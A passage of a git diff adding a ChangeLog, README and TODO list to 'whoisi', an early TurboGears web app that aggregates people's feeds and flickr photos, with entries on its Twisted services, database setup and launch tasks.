+       key.
+
+       * whoisi/widgets/templates/flickr.kid: Add first pass flickr
+       widget.  It needs a lot of work but it will display a flickr
+       photos in the database.
+
+       * whoisi/widgets/widgets.py (SiteFlickrWidget): Support for the
+       flickr widget.
+
+       * whoisi/widgets/templates/person.kid: Support for the new flickr
+       widget.  Also pull out the flickr demo html.
+
+       * whoisi/model.py (SiteHistory): Add a "display_cache" member that
+       caches information that we need for display.  For example,
+       thumbnail urls for images from flickr.
+
+       * services/controller-service: Changes to support flickr.
+
+       * services/controller-service (FlickrCacheManager): New method
+       that knows how to go out and find the thumbnail url for a new
+       image.
+
+       * services/controller-service (LocalControllerProtocol.doCommand):
+       New "flickr-cache" command that gets the flickr thumbnail url for
+       an image id.
+
+       * services/master/flickr.py (FlickrCache.startProcess): New class
+       that will start a flickr cache action.
+
+       * services/command/xmlnode.py: Convenience class that comes from
+       the flickrapi code to convert flickr responses into a walkable
+       tree.
+
+2008-01-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/feedparse.py (FeedRefreshSetup): New class that
+       sets up the state for a feed refresh from a command and the
+       database.
+       (FeedUpdateDatabaseCommand.doCommand): Save the state when
+       refreshing a feed.
+       (FeedUpdateDatabaseCommand.start): Add option to the state to
+       force an update and make sure that we return after kicking off
+       updating all entries.
+       (FeedUpdateDatabaseCommand.getBestContent): Add method to get the
+       best content off of a content node.  Right now it just looks for a
+       text/html entry, which is totally bogus.  Needs work.
+       (FeedUpdateDatabaseCommand.insertEntry): Make sure to add the
+       content to a database entry.
+       (FeedUpdateDatabaseCommand.updateEntry): Make sure to add the
+       content to a database entry.
+
+       * services/master/database.py (DatabaseManager.getRefreshSites):
+       Just get the refresh information from the refresh table directly.
+       (DatabaseManager.startRefresh): Don't include the feed in the
+       argument list (it comes from the database now.)
+
+       * services/master/feedrefresh.py (FeedRefresh.startProcess): Don't
+       include the feed in the command (we get it from the database.)
+
+       * services/controller-service (RefreshManager.__init__): Fixup to
+       support refreshing feeds with new setup, download and parse
+       commands.
+       
+       * whoisi/model.py (SiteHistory.getText): Helper function that
+       returns the content or the summary, whichever one is available.
+
+       * whoisi/static/css/style.css: Add div.weblog-summary to the list
+       of block elements that are indented.  It just wasn't visually
+       clear enough if there wasn't an indentation on the summary for a
+       weblog entry.
+
+       * whoisi/widgets/templates/weblog.kid: Changes to support summary
+       code.  Assumes that the summary will always generate valid XML!
+
+       * whoisi/summary.py: New class that does a quick summary of a
+       weblog.  Tries to limit the size of it to under 150 words or so
+       and will tell you when there's undisplayed data.  Very simple and
+       needs work.
+
+2008-01-16  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * README.txt: Add a note about setting up the my.cnf file properly
+       before creating tables.
+
+2008-01-15  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * dev.cfg: Add ?charset=utf8 to the dburi so that we connect in
+       utf8 mode and things come back in unicode.
+
+       * services/command/download.py (DownloadCommand.doCommand): Force
+       the URL to be in ascii, not unicode.  The URL downloader can't
+       cope.
+
+       * services/command/database.py (DatabaseCommandManager.start):
+       Make sure to connect to the database with utf8 as the charset.
+
+       * services/command/feedparse.py (FeedDownloadCommand.doCommand):
+       Force the url to be in ascii, not unicode.  The URL downloader
+       can't cope.
+
+       * whoisi/model.py: Comment out the wrapper functions that we're
+       not going to use since the data in the database is in utf-8 and is
+       trusted.
+       (Site.getOrderedHistory): New function that will
+       return a set of site entries in reverse order.
+       (SiteHistory.getAge): New function that will return the age for an
+       entry in a friendly text format.
+       (SiteHistory.getLastTouched): New function that will return the
+       last time an entry was touched based on the updated + published
+       entries.
+
+       * whoisi/static/images/sites/feed-icon-16x16.png: New icon for a
+       feed.
+
+       * whoisi/widgets/templates/person.kid: Remove mockup text.  Only
+       use the weblog widget if the type for a site is a feed.
+
+       * whoisi/widgets/templates/weblog.kid: Set up to be able to show
+       entries without a title or without content.  Use the feed icon
+       instead of the blogger.com icon.  Remove mockup static text.  Use
+       the new site.getOrderedHistory() to get the history for a site.
+       Also display the age in a friendly manner.
+
+2008-01-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/person.kid: Move everything over to the
+       dedicated .js file in static/javascript/person.js.  Fix typeo on
+       target URL: should have been "/search", not "search".  Add
+       new_sites object to the person widget during rendering.
+
+       * whoisi/templates/search.kid: Use pretty_search instead of just
+       the search name.  Use a widget instead of a hand-coded search
+       form.
+
+       * whoisi/controllers.py (Root.search): Use the pretty names when
+       displaying the results of a search.
+       (Root.personadd): New method that adds a new person to the
+       database and then rediects them to the new url.
+       (Root.person): New code that pulls new sites out of the database
+       and displays them along with the rest of the normal sites that a
+       person has listed.  Note that the ordering is important because in
+       progress sites can be added to the site list in between queries.
+       (Root.siteaddpost): Add a "status" flag to the return json
+       objects.  It's used by the JS to figure out what the next step is.
+       Also let the JS in the page handle the hiding/showing of the add
+       link.
+
+       * whoisi/search.py (SearchService.prettifyName): New method that
+       will take a search name and make a "pretty" version of it.  For
+       example, "chris blizzard" becomes "Chris Blizzard".  We use it for
+       display and when we jam things in the database for the first time.
+       Try and make things look nice.
+
+       * whoisi/model.py (NewSite): Add some dead code here.  It's a
+       decent example of how to do some complex stuff so I'm leaving it
+       in even though I never ended up using it.
+
+       * whoisi/widgets/templates/siteaddpickfeed.kid: Change the classes
+       here to use url-pick and url-pick-list so that we don't step on
+       the item collections used for a lot of transversal in the JS for
+       the page.
+
+       * whoisi/widgets/templates/person.kid: Support for rendering
+       in-progress loads (because this is the page you land on when you
+       add a person for the first time!)  Also add explicit support for
+       sites that are in the "pick_url" state and display that widget
+       instead of just the loading status widget.
+
+       * whoisi/widgets/widgets.py (PersonWidget): Require the person.js
+       static file.  Also pass in the new_sites into the widget so we can
+       render in-progress stuff.
+       (SiteWeblogWidget): Don't pass in a Widget object here.
+       (PersonAddWidget): New widget that lets you add a person based on
+       a site and name.
+
+       * whoisi/widgets/templates/personadd.kid: New widget for
+       displaying a form to add a person based on a URL.
+       
+       * whoisi/static/javascript/person.js: New file that contains all
+       the JS for the person widget.  Uses class-like things, or at least
+       as well as JS supports such things.  Lots of stuff taken from the
+       person.kid file but object-i-fied.
+
+       * whoisi/static/css/style.css: add div.url-pick-list and
+       div.url-pick classes so that link-collection-item classes can be
+       identified from JS and jQuery.
+
+2008-01-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/states.txt: New file that talks about the states
+       that are managed by the master process.  Only one in here so far
+       is the new_site table.
+
+2007-12-31  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/feed-parse-service (FeedParseProtocol.runCommand): Add
+       the feed's "link" field to the list of things that we catch.  This
+       is often the high level URL that's associated with a site and the
+       one that we will display to users.
+
+       * services/controller-service: Big change.  Move most of the new
+       site handling down into the controller service.  The master now
+       just tells the controller about a new site and it does most of the
+       hard work.
+       (NewSiteManager): New class that handles the new site handling.
+       (LocalControllerProtocol.doCommand): Support "new-site" as a
+       command.
+
+       * services/command/newsite.py (NewSiteSetup): New command and new
+       file to support getting the new site out of the database and
+       processing it.  Much improved vs. the master method since it does
+       most of its processing in a single class and can make
+       decisions.  (No round trips and changes that have to go back to
+       the master process.)
+
+       * services/command/newsite.txt: Text file that describes some
+       strategies for discovering feeds on text.  We don't do a lot of
+       these thing yet, but do do some of them.
+       * services/command/base.py (CommandManager.subSuccess): Important
+       change here.  When a subcommand returns a string in its state
+       called "error" stop processing.  Eventually we'll add an error
+       handler for each command (not done yet) which we'll call when we
+       get an error.  This is important because it means that in general
+       errors should be reported here and that errbacks should only be
+       used when there's an internal error of some kind.  Uncaught
+       exception, etc.
+
+       In addition we support a "stop" flag set in the state which will
+       just stop processing without an error.  The only code that uses
+       this so far is the new-site command can stop processing because it
+       needs the user to pick a url from a list of feeds that are
+       available.
+
+       * services/command/feedparse.py (FeedDownloadCommand): New command
+       that will download a url.  Same as the download service except it
+       will look in the state for a key that points to a filename for an
+       already downloaded file.  This happens during new-site when we
+       download a url and it's detected as a feed.  We don't want to
+       re-download it.
+
+       * services/command/feedparse.py (FeedParseCommand): Change this
+       command to look in the state for "try_url_parsed_feed_filename".
+       Same as in the download command we might have already parsed this
+       download and we should just use that instead of re-parsing.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.doCommand):
+       Look in the state for "site_id" instead of just "id"
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.start):
+       Pull out the url as well as the last update when checking to see
+       if the feed needs to be updated.  We'll need this later to update
+       the "url" field in the site description.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.gotUpdate):
+       Support changes for updating the URL.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.updateSite): 
+       Update the url field in the site object with the "link" object
+       from the feed, if it happens to be set.
+
+       * services/html-feed-scrape-service: Change the way that we search
+       for links in HTML in an attempt to make it easier to detect an RSS
+       url vs. an HTML URL that's passed in when adding a site.  Now we
+       return a flag called "looks_like_html" that is set when someone
+       passes us an html page that includes the <html> and <head> tags.
+       Also handle a parse exception which is what we get when we try to
+       parse an RSS feed.  Generally if looks_like_html is False and
+       feed_url is also empty then it's not HTML.
+
+       * services/master/newsite.py: Rip out most of the new site
+       handling and put it into the controller service.  The only thing
+       that this does now is poll for new site requests and pass them off
+       to one of the controllers.
+
+       * services/master/database.py: Clean up the naming of some of the
+       variables.  Also poll for sites in the new_site table that have
+       "url_picked" in them and hand them off to the new-site handler
+       since it knows how to handle those.  The url_picked state on the
+       new_site handler is what is put in there when a user picks a feed
+       from a list.
+
+2007-12-29  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/feedrefresh.py (FeedRefresh.startProcess): New
+       file and class that turns requests in the database into work for
+       the master process and dispatches them.
+
+       * services/command/setup.py (FileToStateCommand.doCommand): Only
+       close the file if we opened it.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand): New
+       class that handles updating entries in the database.  This thing
+       is brute fucking force right now.  Just looks at what we currently
+       have in the database (yay, select *) and updates everything it can
+       or inserts new entries.  If we get a feed that's missing ids (they
+       apparently exist) this code will crap itself.  Needs a lot of work.
+
+       * services/master/database.py (DatabaseManager.__init__): Add
+       members to track when we're doing a refresh.
+       (DatabaseManager.getNewWork): Query the database for new sites to
+       refresh when getting new work.
+       (DatabaseManager.getRefreshSites): Call to query the database for
+       refreshing sites.
+       (DatabaseManager.gotRefresh): Same.
+       (DatabaseManager.startRefresh): Same.
+
+       * services/master/newsite.py (NewSite.linkResult): Add explicit
+       values to the last_update and last_poll params when we're
+       inserting a new site into the database.
+
+       * services/feed-parse-service (FeedParseProtocol.parsedTimeToSeconds):
+       Change this to return a simple array of 6 values that we care
+       about.  Used to return seconds since the epoch but this handles a
+       wider range and is easier to work with.  Confirmed that this is in
+       UTC.
+
+       * services/controller-service (RefreshManager.__init__): Call
+       FeedUpdateDatabaseCommand() once we're done downloading a feed.
+       Yay!
+       (LocalControllerProtocol.doCommand): Add the database manager to
+       the call to the refresh manager.
+
+       * whoisi/templates/person.kid (pick_site): Fix typo.
+
+       * whoisi/model.py (SiteHistory): Add note about having to add a
+       hash for a site to make things faster.
+       (SiteRefresh): New class that is a database table to trigger
+       refreshes.
+
+2007-12-28  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/person.kid: Tons of javascript changes here.
+       Fix all the variables to be local instead of defaulting to
+       global.  (Bleh.  Too much python.)  Change setup_add_handlers() to
+       just setup_handlers because we do more than just set up the add
+       handlers in here.  Add support for the timeout on the status
+       widget or if the user clicks on the link to update it sooner.
+       Also add a handler for the picker.  Factor out some of the calls
+       from clicks into their own functions (status_update() and
+       pick_site()).
+
+       * whoisi/controllers.py (Root.siteaddform): siteaddform replaces
+       siteaddpre.  This is the form that's loaded when someone wants to
+       add a new site to a person.
+       (Root.siteaddpost): Create a NewSite object to request that a new
+       site be added to the database.  Also return the new status widget.
+       (Root.siteaddstatus): New method to handle queries from a page to
+       get status on a new feed that was just added.  This will either
+       return the new entry + another "Add Another Site" or it will ask
+       the user to pick a feed if there are more than one of them.
+       (Root.siteaddpick): New method to handle the result of someone
+       picking from more than one feed.  It updates the status for the
+       site request and cycles back to the status widget.
+
+       * whoisi/widgets/templates/siteaddpickfeed.kid: New widget
+       template that asks you to pick from multiple feeds for a site.
+
+       * whoisi/widgets/templates/siteaddstatus.kid: New widget template
+       that shows status as a new site is loaded.
+
+       * whoisi/widgets/widgets.py (SiteAddStatusWidget): New widget for
+       a "Loading..." indicator after someone adds a new site.
+       (SiteAddPickFeedWidget): Widget that lets you pick from multiple
+       feeds when more than one is offered.
+
+2007-12-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/database.py (DatabaseManager.runInteraction):
+       New method that takes a callable and a query to run in twisted's
+       interaction code for databases.  Function will be called from the
+       db's thread and it's there to do advanced stuff with the cursor
+       object.
+       (DatabaseManager.getNewSites): Add the person_id to the list of
+       things we want back from the new_site object.  We'll need it to
+       make the NewSite object later and attach the new site to the
+       person.
+       (DatabaseManager.gotNewSites): Same with the new person attribute.
+       (DatabaseManager.newSite): Same with the new person attribute
+
+       * services/master/newsite.py (NewSite.__init__): Add title, person
+       and site_id to the things we track.
+       (NewSite.startProcess): We don't need to pass in a data= argument.
+       That shouldn't have been checked in.
+       (NewSite.startProcess): Track the person that was passed into the
+       new site object.
+       (NewSite.linkResult): When we get a link we have to make sure
+       there's only one listed.  If there's more than one listed ask the
+       user to pick it (code not done yet, but it does update the
+       database.)  If we have one feed then create a new Site object and
+       attach the person to it.  We wait for notification that the site
+       object has been created.
+       (NewSite.newSiteInteraction): New callback for the database.  We
+       need this so that we can pick out the cursor's .lastrowid property
+       that mysql hands back.  We then update the new_site entry in the
+       database with that id when we update it with the feed refresh.
+       (NewSite.needPick): New function that updates the database with an
+       indication that the user needs to pick which feed to use.
+       Callback code isn't done yet to support all of this yet.
+       (NewSite.pickResult): Callback to let us know that the database is
+       updated with the need for picking.  This is where new code will
+       go.
+       (NewSite.pickResultFailed): Failed callback for updating the
+       new_site object.
+       (NewSite.siteSetupDone): Callback for when the site object has
+       been created.  Once we have that, and its ID, we kick off the feed
+       refresh command.
+       (NewSite.siteSetupFailed): Failure callback for a new site being
+       setup.
+       (NewSite.refreshDone): Callback to let us know that a feed refresh
+       has taken place.  Also updates the new_site table with a "done"
+       status and adds the site_id so that the new site can be shown to
+       the user.
+       (NewSite.refreshFailed): Failure callback for a refresh.  This
+       will need a bunch of code.
+       (NewSite.doneFinished): Final callback for finishing a site update
+       with state and site id information.
+       (NewSite.doneFailed): Failure callback for final update.
+
+       * services/controller-service (RefreshManager.__init__): Pass in
+       the service manager when initializing the refresh object and pass
+       it down to the feed parser.  It runs as a different program.
+       (LocalControllerProtocol.doCommand): Pass in the service manager
+       to the RefreshManager object.
+
+       * whoisi/model.py (NewSite): Add a ForeignKey('Person') to the new
+       site object.  We need to know which person a new site has to be
+       attached to.  Also add a ForeignKey('Site') that we add
+       later (default=None) once we know that the site has a feed.
+
+2007-12-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/download.py (DownloadCommand.__init__): Set a
+       name so that debugging code will work well.
+       (DownloadCommand.doCommand): Check that an incoming URL is
+       actually a url using formencode.  Also handle the state var as the
+       first argument to the command.
+
+       * services/command/database.py (DatabaseCommandManager): New code
+       that will run queries on behalf of commands.
+
+       * services/command/htmlscrape.py (ScrapeLinkCommand.__init__)
+       Support the new debugging name.
+       (ScrapeLinkCommand.doCommand): Remove some debugging output.
+       (StateFeedToDatabaseCommand): New class that takes information out
+       of the state about feeds that were found and puts them into the
+       database (the new_site table.)
+
+       * services/command/setup.py: A couple of simple setup commands.
+       IDURLSetupCommand takes an id and url as input and puts them into
+       the state so we can use them much later.  FileToStateCommand takes
+       json info out of a file and stuffs it directly into the state.
+       Useful for external commands that only drop a file and makes it
+       easy to pass that info back to another command.
+
+       * services/command/service.py: Lots of random debug info changes.
+       (ParseProcess.errReceived): Getting data on stderr isn't a fatal
+       error, but re-print it.
+
+       * services/command/feedparse.py: This is the protocol side of the
+       feed parser service.  Just proxies to an external process using
+       the ServiceManager.
+
+       * services/command/base.py (CommandManager.__init__): Add a new
+       "state" variable that we can use across commands.
+       (CommandManager.processCommands): Output interesting debug data as
+       we process commands.  Catch + report exceptions that are sent back
+       when we try and run various commands.  Re-raise them when we do so
+       that the protocol handler can report an error.  Also add the state
+       variable to the calls to the various subcommands.  They can use
+       state to pass information from one command to the next, or across
+       commands.
+       (CommandManager.subSuccess): Add code that outputs success
+       information and return values.
+       (BaseCommand): In __init__() always set a name to support the
+       debug code.
+       (BaseCommand.doCommand): Add the state variable to any calls to
+       doCommand()
+
+       * services/html-feed-scrape-service (ScrapeParser.handle_starttag):
+       Fix the tag handling so that we can keep track of generator and
+       pingback tags. We'll want those at some point for stat gathering.
+       (ScrapeProtocol.runCommand): Output the feed_url, pingback +
+       generator fields.
+       (ScrapeProtocol.runCommand): Make sure to return if someone sends
+       a bad command.
+
+       * services/master/database.py: New service that will connect to a
+       database and runs queries on behalf of other classes in a twisted
+       way (i.e. with deferreds.)  It's also where new work is generated
+       from the database.  i.e. it polls the new_site table looking for
+       jobs that need to be run.  At some point it should also handle
+       disconnects and then reconnect when things go bad.  I need to
+       figure out error chaining to make that possible so it doesn't do
+       it right now.
+
+       * services/master/newsite.py: Newsite is a class that's created
+       whenever someone adds a new site to a person on the web site.
+       Code in the database service in the master will create one of
+       these new objects if it runs into a new site in the database.
+       This class keeps track of the various jobs that need to be
+       executed in order to turn a simple URL into a site that we can
+       display on the site.  This is somewhat fragile right now as if we
+       restart the master service stops running or a controller service
+       dies it's likely we're going to lose this object and it won't be
+       finished.  Probably need to have something that looks for old
+       stuff during startup and re-creates all these objects to drive
+       state.  Or just resets everything and assumes it is new.  Much
+       refactoring to come to this, I think.
+
+       * services/master/worker.py: Most of the code that master drives
+       from the master-service.  Includes classes for each worker that we
+       connect to (each controller-service, really), includes code that
+       will try and farm out jobs to them and handle errors.  Also
+       includes a class for each command that's executed.
+
+       * services/feed-parse-service: First pass at a feed parser.  Takes
+       a file that's been downloaded as input, uses python-feedparser to
+       parse it and then dumps the interesting stuff to a file that's a
+       big json structure.  Seems to work reasonably well.  Doesn't do
+       any updating of the database or anything like that.  A different
+       command will do that.
+
+       * services/master-service: New service that listens for things to
+       do and then farms them out to controllers.  Will check for new
+       work every few seconds, reconnect to controllers when they go away
+       and try to keep track of who is handling what jobs.  Should also
+       try and restart jobs that fail on a particular controller and
+       resubmit them later.  Needs lots of love.
+
+       * services/protocols.txt: Updated to reflect very simple master <>
+       controller protocol.
+
+       * services/controller-service: Lots of work here.  Include support
+       for lots of new commands - html scraping, feed parsing, some
+       simple setup commands and database requests.
+       (ProtoManager.start): Add code that supports the uuid, command and
+       arguments to the start code for the base class for managers that
+       also report through the protocol handler to the master.  This is
+       used by classes that derive from ProtoManager and will report that
+       a job has started.
+       (ProtoManager.succeeded): Report command + uuid instead of just a
+       url.
+       (ProtoManager.failed): Report command + uuid instead of just a
+       url.
+       (LinkScrapeManager.__init__): The link scrape manager now has a
+       bunch of different subcommands that together will scrape the links
+       out of a particular URL.
+       (RefreshManager.__init__): Start of a feed refresh.  Just does set
+       up + download right now.
+       (LocalControllerProtocol.doCommand): When starting up the
+       LinkScrapeManager pass in the service manager (to manage
+       processes) and the DatabaseCommandManager (to manage database
+       requests that might be done.)
+       (LocalControllerProtocol.doCommand): Pass in the command + uuid to
+       the RefreshManager to start it.  Code not done yet at all.
+       (ControllerServerFactory.__init__): During init fire up the
+       database manager to establish connections to the database.
+
+       * services/protocol/controller.py (ControllerProtocol.lineReceived):
+       Add a "shutdown" command to the protocol to let someone shut down
+       the controller completely.  "quit" now closes that connection but
+       leaves the controller running.  Protocol now comes in the form of
+       <command> <uuid> <args> so we need code to track that.  Arguments
+       don't have to include a url so we don't validate against it.  We
+       pass all that down to the doCommand() method that keeps track of
+       everything as it is running.  Also try and put in some error
+       handling that reports errors we can follow up on.
+
+       * whoisi/model.py (Site): Remove bogus comment.
+       (SiteHistory): Add some more members to try and get a decent DB
+       model for a site's entries.  Includes title, link, entry_id (id
+       field in many feeds), the published and updated dates, summary and
+       content.  Also make sure that summary and content both go through
+       accessors that encode as base64.
+       (NewSite): Add the site_id to associate a new site request with a
+       site lazily (we don't have a foreign key relationship anymore.
+       Also add the url, the status (really the state), data that might
+       be included as part of the request processing and any errors
+       generated.  Nothing uses the error field yet because we don't have
+       good error processing.
+
+2007-12-17  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py (NewSite): Remove the owner.  That will be
+       managed by an external process, not in the database with the new
+       services.
+
+       * services/ First pass at services.  Writen in twisted, lots of
+       new classes and a couple of commands.  Still very much a work in
+       progress.
+
+2007-12-09  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/person.kid (site_add_post_submit): Jump up to
+       the div that includes the link-collection-item class and use that
+       as the base to find the input elements instead of just walking up
+       a random number of parents.  Should work better into the future.
+       (site_add_pre_loaded): Same.  Also when rendering the person
+       widget don't pass in all the various widgets needed to render the
+       person.  The person widget will pull in as needed.  (See below.)
+
+       * whoisi/controllers.py (Root.person): Don't pass in all of the
+       different widgets needed to render a person.  The person widget
+       pulls them in by itself.
+
+       * whoisi/model.py (Site): Add a lastPoll member that indicates the
+       last time that we actually polled a site.
+       (NewSite): Add NewSite model item that kicks off an initial poll
+       of a web site once it's added to the database.  I suspect that
+       this will go away or change quite a bit.
+
+       * whoisi/static/css/style.css: Add a div.weblog-entry item that
+       has the same layout as the link-collection but lets us use classes
+       from jQuery later.
+       
+       * whoisi/widgets/templates/person.kid: Add the widgets directly to
+       an import statement for the person widget.  We shouldn't have to
+       tell code that calls this widget that they need to pass in a pile
+       of widgets since those other widgets all render parts of the
+       person object anyway.  Also change the link-collection-item div so
+       that it's rendered by the widget, not in the html in the template.
+
+       * whoisi/widgets/templates/search.kid: Use ${search or ''} form to
+       make sure that the value attribute ends up on the input element,
+       even if it's empty.
+
+       * whoisi/widgets/templates/weblog.kid: Weblog stub that will
+       eventually be the stub for a weblog entry.
+
+       * whoisi/widgets/templates/siteaddlink.kid: Change the site add
+       link to include the entire link-collection-item div instead of
+       just the stuff inside the div.  Easier to handle updates this way
+       in the long run.
+
+       * whoisi/widgets/templates/siteadd.kid: link-collection-item
+       change.
+
+       * whoisi/widgets/widgets.py (SiteWeblogWidget): New stub widget
+       that will be the template for web log entries.
+
+2007-12-05  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py (Site): Add 'type' column that is the type of
+       site it is (flickr, feed, linkedin) as opposed to the type of
+       feed (atom, rss, scrape.)
+
+       * whoisi/templates/person.kid: Pass in the site_add_link when
+       displaying the person widget when it's passed from the controller.
+       (site_add_post_loaded): Callback for when the URL is submitted to
+       server for addition to a person.
+       (site_add_post_submit): Callback for when we want to submit the
+       URL to the server.
+       (site_add_pre_loaded): Callback for when the URL add form is
+       loaded.
+       (setup_add_handlers): Called when the document is first loaded and
+       also after a URL is submitted to the servers.  Sets up callbacks
+       on all the "add site" links.
+       ($(document).ready): Don't set up handlers directly, use
+       setup_add_handlers() helper.
+
+       * whoisi/controllers.py (Root.person): Add the
+       site_add_link_widget to the list of widgets that we pass into the
+       person template.
+       (Root.siteaddpre): Move to a JSON method instead of a method that
+       just returns a fragment of HTML.
+       (Root.siteaddpost): Set up as a JSON method that returns the HTML
+       fragment for the link for now and will eventually add a link to a
+       person.  UI flow kind of works now, though.
+
+       * whoisi/templates/person.kid: Change the icons to point to
+       /static locations so they start showing up.
+
+       * whoisi/widgets/templates/siteadd.kid: Update the widget to use a
+       button type, space properly, add some text and pass along the url
+       and the person who is being added.
+
+       * whoisi/widgets/templates/siteaddlink.kid: New widget template.
+
+       * whoisi/widgets/widgets.py (SiteAddLinkWidget): New widget that
+       returns a "add new site" widget.  We'll be using it in both the
+       form and returned as part of an ajax query.
+
+2007-11-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/index.kid: Use the search widget, not hand
+       coded HTML.
+
+       * whoisi/templates/person.kid: Template to display a single
+       person.  Playing with some ajax site adding code but not done yet.
+       Uses the person widget to display a person.
+
+       * whoisi/templates/search.kid: Change search form to add a new
+       site if no matches are found.  (Just a stub for now.)
+
+       * whoisi/templates/master.kid: Change initial focus to find the
+       first form on a page.
+
+       * whoisi/controllers.py (Root.index): Change the index page to use
+       the search widget instead of a hard coded HTML form.
+       (Root.search): Change the search to use the search widget.
+       (Root.person): Simple method to get a person and hand it off to
+       the right widget + form.
+       (Root.siteaddpre): Method to get HTML to add a site in a form.
+       Needed so that we can eventually add some anti-spam measures here.
+       (Root.siteaddpost): Method that will add a site.  Stub for now.
+
+       * whoisi/search.py (SearchService.peopleByName): Change the search
+       service so it returns ordered results - first by exact match and
+       then other possible matches.
+
+       * whoisi/static/javascript/jquery.js: Add jquery 1.2.1 for use in
+       pages.
+
+       * whoisi/widgets/templates/person.kid: Widget that displays a
+       person.  Heavily in progress and will need a lot of changes.
+       Taken directly from the mockups for now.
+
+       * whoisi/widgets/templates/search.kid: Widget for the search box
+       that shows up on a lot of pages.
+
+       * whoisi/widgets/templates/siteadd.kid: Widget for adding a
+       site (in progress.)
+
+       * whoisi/widgets/widgets.py: Start adding widgets that we'll use
+       to build the site.
+
+2007-11-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/index.kid: Name the search fields.
+
+       * whoisi/templates/search.kid: Dump result names.  Not even
+       slightly done yet.
+
+       * whoisi/templates/master.kid: Javascript function to focus the
+       first form element.  Needs cleanup to add hooks for onload()
+       functions so that it's extensible.
+
+       * whoisi/controllers.py (Root): Start on the search method.
+       Redirects back to '/' if there's no query.  Calls into the search
+       service to get a set of results.
+
+       * whoisi/search.py: Add simple sql-driven search service until we
+       bring something more awesome online.
+
+2007-11-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py (Person): Move aliases -> other names.  Fix
+       sites to be a MultipleJoin, not a RelatedJoin since it's
+       one-to-many, not many-to-many.
+       (Name): Add a RelatedJoin back to Person so that we can go in
+       either direction.
+       (Site): Fix url to be notNone=true.  Add default=None to other
+       parts so they can be populated.
+
+       * whoisi/controllers.py (Root.search): New search method exposed
+       to the world.
+
+       * whoisi/templates/search.kid: New search result page.
+       
+       * whoisi/static/css/style.css: Whack this file completely and move
+       it to the new look.
+
+       * whoisi/controllers.py (Root.index): Move from the classic
+       welcome page to the search page.
+
+       * whoisi/templates/index.kid: New index file to start searching.
+       Very simple.
+
+2007-11-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/master.kid: Rip out everything we don't need.
+
+2007-11-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py: Remove unused template from the model file.
+
+2007-11-16  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * Add basic models and try and get the database initialized.
+
diff --git a/README.txt b/README.txt
new file mode 100644 (file)
index 0000000..bc11a82
--- /dev/null
@@ -0,0 +1,39 @@
+
+whoisi
+
+This is a TurboGears (http://www.turbogears.org) project. It can be
+started by running the start-whoisi.py script.
+
+database setup
+
+Include the following lines in your /etc/my.cfg before setting up the database:
+
+[client]
+default-character-set=utf8
+
+[mysqld]
+default-character-set=utf8
+
+Extra packages:
+gdata from source http://ideasuite.com/~blizzard/whoisi/tgz/
+sqlobject
+turbogears
+MySQL-python (at least version 1.2.2 to avoid problems with inserting unicode strings)
+twisted (2.5) - fight with the twisted.web program - installs to the wrong libdir on 64 bit systems?
+
+Create indexes by hand:
+
+create index site_feed_idx on site (feed(128));
+create index site_url_idx on site (url(128));
+create index name_name_idx on name (name(32));
+create index site_history_new on site_history (on_new);
+create index name_person_idx on name (person_id);
+
+create index follow_person_follower_id_person_id_idx on follow_person (person_id, follower_id);
+create index follow_person_follower_id_person_id_idx2 on follow_person (follower_id, person_id);
+
+create index site_current_idx on site (person_id, is_removed, id);
+create index site_history_current_idx on site_history (site_id, on_new, id);
+
+create index site_type_idx on site (type, is_removed);
+
diff --git a/TODO.txt b/TODO.txt
new file mode 100644 (file)
index 0000000..a7d656e
--- /dev/null
+++ b/TODO.txt
@@ -0,0 +1,174 @@
+REQUIRED FOR SOURCE RELEASE:
+
+1. Put license headers on all the files.
+2. Check for licenses for feedparser and move it to a feedparser + patch model.
+3. Check the mini-dom stuff - it's imported code - use BeautifulSoup instead?
+X. Move password and key stuff to configs.
+5. Set up trac.
+6. Write up a doc on what's required to run it.
+7. Write up a doc on how to add a new site.
+8. Write up a doc that describes the overall architecture.
+
+REQUIRED TO LAUNCH:
+
+X. Add "Follow" links to all the various types of sites
+X. Finish following
+X. Email follow info (so people can log back in.)
+X. CAPTCHAs
+X. Error reporting for new site adds
+X. Smarter about feeds (flickr, dropping comments and relative ATOM vs. RSS)
+X. Add "this is me" functionality
+X. Add pagination to search results page
+X. Search in aliases as well as names
+X. "Following" page should have sort by name and by date
+XX. Error page for person not found
+XX. Exception error handler for all pages
+XX. Error page for /follow if you aren't following anyone
+X.  Change /person to /p
+X.  Add tg.url() support for everything so we can jam apache in there
+X.  Fix display code so that the everyone page and the follow page
+don't make a billion queries.
+X.  Fix bug where you can't stop following someone
+X.  Make sure that cookie dates are updated when someone accesses the
+site.
+XX. Change person add procedure to it checks for dups and doesn't add
+a person before the site is loaded and also has a CAPTCHA.
+XX. First time you follow someone the friendslink doesn't show up.
+XX: Fix unicode characters not working in names when you add a person
+(http://www.flickr.com/photos/lesec/)
+XX: Fix new sites so that they have a flag for first entries added to
+the database - otherwise it floods the everyone and follow page
